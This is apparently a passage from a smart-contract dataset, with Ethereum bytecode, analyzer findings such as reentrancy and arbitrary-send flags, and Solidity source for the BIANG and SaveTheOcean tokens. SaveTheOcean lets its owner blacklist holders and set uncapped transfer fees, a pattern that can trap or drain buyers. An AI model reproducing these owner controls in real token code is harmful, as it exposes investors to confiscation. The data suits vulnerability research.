54d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61415a81613bf6565b811461416557600080fd5b50565b61417181613c08565b811461417c57600080fd5b50565b61418881613c1a565b811461419357600080fd5b50565b61419f81613c46565b81146141aa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012ba1c6fc687265cdc211440fcbbb396a4d565419fdc4676124d0e41ee4faf6064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,616 |
0x184748fdde3e3b02ceacda04a057f0009cbde3d8
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @author OpenZeppelin math/SafeMath.sol
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is
* greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Ownable
* @author OpenZeppelin ownership/Ownable.sol
* @dev The Ownable contract has an owner address, and provides basic
* authorization control functions, this simplifies the implementation of
* "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract
* to the sender account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a
* newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @author OpenZeppelin lifecycle/Pausable.sol
* @dev Base contract which allows children to implement an emergency stop
* mechanism.
*/
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
/**
* @dev Modifier to make a function callable only when the contract is not
* paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is
* paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title Freezable
* @dev Base contract which allows children to freeze account.
*/
contract Freezable is Ownable {
mapping (address => bool) public frozenAccount;
event Frozen(address target, bool frozen);
/**
* @dev Modifier to make a function callable only when the target is not
* frozen.
*/
modifier whenNotFrozen(address target) {
require(!frozenAccount[target]);
_;
}
/**
* @notice `freeze? Prevent | Allow` `target` from sending & receiving
* tokens
* @param target Address to be frozen
* @param freeze either to freeze it or not
*/
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
emit Frozen(target, freeze);
}
}
/**
* @title ERC20 interface
* @author OpenZeppelin token/ERC20/ERC20.sol
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
* @author OpenZeppelin token/ERC20/StandardToken.sol
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/
* master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a
* spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for
* the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens
* on behalf of msg.sender. Beware that changing an allowance with this
* method brings the risk that someone may use both the old and the new
* allowance by unfortunate transaction ordering. One possible solution to
* mitigate this race condition is to first reduce the spender's allowance
* to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
/**
* @title Pausable, Freezable & Burnable Token
* @author OpenZeppelin token/ERC20/PausableToken.sol
* @author OpenZeppelin token/ERC20/BurnableToken.sol
* @dev StandardToken modified with pausable transfers.
* @dev Token that can be irreversibly burned (destroyed).
*/
contract Token is StandardToken, Pausable, Freezable {
// Public variables of the token
string public name;
string public symbol;
// 18 decimals is the strongly suggested default, avoid changing it
uint8 public decimals = 18;
event Burn(address indexed burner, uint256 value);
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
whenNotFrozen(msg.sender)
whenNotFrozen(_to)
returns (bool)
{
return super.transfer(_to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
whenNotFrozen(msg.sender)
returns (bool)
{
return super.approve(_spender, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
whenNotFrozen(msg.sender)
whenNotFrozen(_from)
whenNotFrozen(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner whenNotPaused {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be
// an assertion failure
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract BIANGToken is Token {
constructor() public {
// Set the name for display purposes
name = "Biang Biang Mian";
// Set the symbol for display purposes
symbol = "BIANG";
// Update total supply with the decimal amount
totalSupply_ = 100000000 * 10 ** uint256(decimals);
// Give the creator all initial tokens
balances[msg.sender] = totalSupply_;
}
}
|
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce567146102085780633f4ba83a1461023357806342966c681461024a5780635c975abb1461026257806370a08231146102775780638456cb59146102985780638da5cb5b146102ad57806395d89b41146102de578063a9059cbb146102f3578063b414d4b614610317578063dd62ed3e14610338578063e724529c1461035f578063f2fde38b14610385575b600080fd5b34801561010157600080fd5b5061010a6103a6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a0360043516602435610434565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc61047d565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a0360043581169060243516604435610483565b34801561021457600080fd5b5061021d610520565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b50610248610529565b005b34801561025657600080fd5b506102486004356105a1565b34801561026e57600080fd5b506101a36106a2565b34801561028357600080fd5b506101cc600160a060020a03600435166106b2565b3480156102a457600080fd5b506102486106cd565b3480156102b957600080fd5b506102c261074a565b60408051600160a060020a039092168252519081900360200190f35b3480156102ea57600080fd5b5061010a610759565b3480156102ff57600080fd5b506101a3600160a060020a03600435166024356107b4565b34801561032357600080fd5b506101a3600160a060020a0360043516610826565b34801561034457600080fd5b506101cc600160a060020a036004358116906024351661083b565b34801561036b57600080fd5b50610248600160a060020a03600435166024351515610866565b34801561039157600080fd5b50610248600160a060020a03600435166108e1565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042c5780601f106104015761010080835404028352916020019161042c565b820191906000526020600020905b81548152906001019060200180831161040f57829003601f168201915b505050505081565b60035460009060a060020a900460ff161561044e57600080fd5b3360008181526004602052604090205460ff161561046b57600080fd5b6104758484610976565b949350505050565b60025490565b60035460009060a060020a900460ff161561049d57600080fd5b3360008181526004602052604090205460ff16156104ba57600080fd5b600160a060020a038516600090815260046020526040902054859060ff16156104e257600080fd5b600160a060020a038516600090815260046020526040902054859060ff161561050a57600080fd5b6105158787876109dc565b979650505050505050565b60075460ff1681565b600354600160a060020a0316331461054057600080fd5b60035460a060020a900460ff16151561055857600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600160a060020a031633146105b857600080fd5b60035460a060020a900460ff16156105cf57600080fd5b336000908152602081905260409020548111156105eb57600080fd5b3360009081526020819052604090205461060b908263ffffffff610b5116565b3360009081526020819052604090205560025461062e908263ffffffff610b5116565b60025560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051828152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350565b60035460a060020a900460ff1681565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146106e457600080fd5b60035460a060020a900460ff16156106fb57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042c5780601f106104015761010080835404028352916020019161042c565b60035460009060a060020a900460ff16156107ce57600080fd5b3360008181526004602052604090205460ff16156107eb57600080fd5b600160a060020a038416600090815260046020526040902054849060ff161561081357600080fd5b61081d8585610b63565b95945050505050565b60046020526000908152604090205460ff1681565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600354600160a060020a0316331461087d57600080fd5b600160a060020a038216600081815260046020908152604091829020805460ff191685151590811790915582519384529083015280517f713eb400302cebac61f82eb8de5051d38458517ffac43ae45f4a9fd5d09ee6989281900390910190a15050565b600354600160a060020a031633146108f857600080fd5b600160a060020a038116151561090d57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a038316600090815260208190526040812054821115610a0157600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054821115610a3157600080fd5b600160a060020a0383161515610a4657600080fd5b600160a060020a038416600090815260208190526040902054610a6f908363ffffffff610b5116565b600160a060020a038086166000908152602081905260408082209390935590851681522054610aa4908363ffffffff610c4216565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610ae6908363ffffffff610b5116565b600160a060020a03808616600081815260016020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600082821115610b5d57fe5b50900390565b33600090815260208190526040812054821115610b7f57600080fd5b600160a060020a0383161515610b9457600080fd5b33600090815260208190526040902054610bb4908363ffffffff610b5116565b3360009081526020819052604080822092909255600160a060020a03851681522054610be6908363ffffffff610c4216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b81810182811015610c4f57fe5b929150505600a165627a7a72305820a5280c95774ab34a4286be38dd0c2e6c1c302768fd7e0c71823166ed183901a20029
|
{"success": true, "error": null, "results": {}}
| 1,617 |
0xb86fac6223d35188ac88d4dae69112e39a5e52d8
|
// SPDX-License-Identifier: UNLICENSED
/**
site - https://savetheoceaneth.com/
Telegram - https://t.me/SaveTheOceanETH
twitter- https://twitter.com/SaveTheOceanEth
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SaveTheOcean is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SaveTheOcean";
string private constant _symbol = "STO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xa6a5E8387081ec11021516a27a920FA083b467eF);
address payable private _marketingAddress = payable(0xa6a5E8387081ec11021516a27a920FA083b467eF);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 300000 * 10**9; //3%
uint256 public _maxWalletSize = 300000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051d578063dd62ed3e1461053d578063ea1644d514610583578063f2fde38b146105a357600080fd5b8063a2a957bb14610498578063a9059cbb146104b8578063bfd79284146104d8578063c3c8cd801461050857600080fd5b80638f70ccf7116100d15780638f70ccf7146104165780638f9a55c01461043657806395d89b411461044c57806398a5c3151461047857600080fd5b806374010ece146103c25780637d1db4a5146103e25780638da5cb5b146103f857600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103585780636fc3eaec1461037857806370a082311461038d578063715018a6146103ad57600080fd5b8063313ce567146102fc57806349bd5a5e146103185780636b9990531461033857600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c65780632fd689e3146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab9565b6105c3565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b29b0bb32aa3432a7b1b2b0b760a11b60208201525b6040516102319190611beb565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a09565b610662565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50662386f26fc100005b604051908152602001610231565b3480156102d257600080fd5b5061025a6102e13660046119c8565b610679565b3480156102f257600080fd5b506102b860185481565b34801561030857600080fd5b5060405160098152602001610231565b34801561032457600080fd5b5060155461028a906001600160a01b031681565b34801561034457600080fd5b506101f1610353366004611955565b6106e2565b34801561036457600080fd5b506101f1610373366004611b85565b61072d565b34801561038457600080fd5b506101f1610775565b34801561039957600080fd5b506102b86103a8366004611955565b6107c0565b3480156103b957600080fd5b506101f16107e2565b3480156103ce57600080fd5b506101f16103dd366004611ba0565b610856565b3480156103ee57600080fd5b506102b860165481565b34801561040457600080fd5b506000546001600160a01b031661028a565b34801561042257600080fd5b506101f1610431366004611b85565b610885565b34801561044257600080fd5b506102b860175481565b34801561045857600080fd5b5060408051808201909152600381526253544f60e81b6020820152610224565b34801561048457600080fd5b506101f1610493366004611ba0565b6108cd565b3480156104a457600080fd5b506101f16104b3366004611bb9565b6108fc565b3480156104c457600080fd5b5061025a6104d3366004611a09565b61093a565b3480156104e457600080fd5b5061025a6104f3366004611955565b60106020526000908152604090205460ff1681565b34801561051457600080fd5b506101f1610947565b34801561052957600080fd5b506101f1610538366004611a35565b61099b565b34801561054957600080fd5b506102b861055836600461198f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058f57600080fd5b506101f161059e366004611ba0565b610a3c565b3480156105af57600080fd5b506101f16105be366004611955565b610a6b565b6000546001600160a01b031633146105f65760405162461bcd60e51b81526004016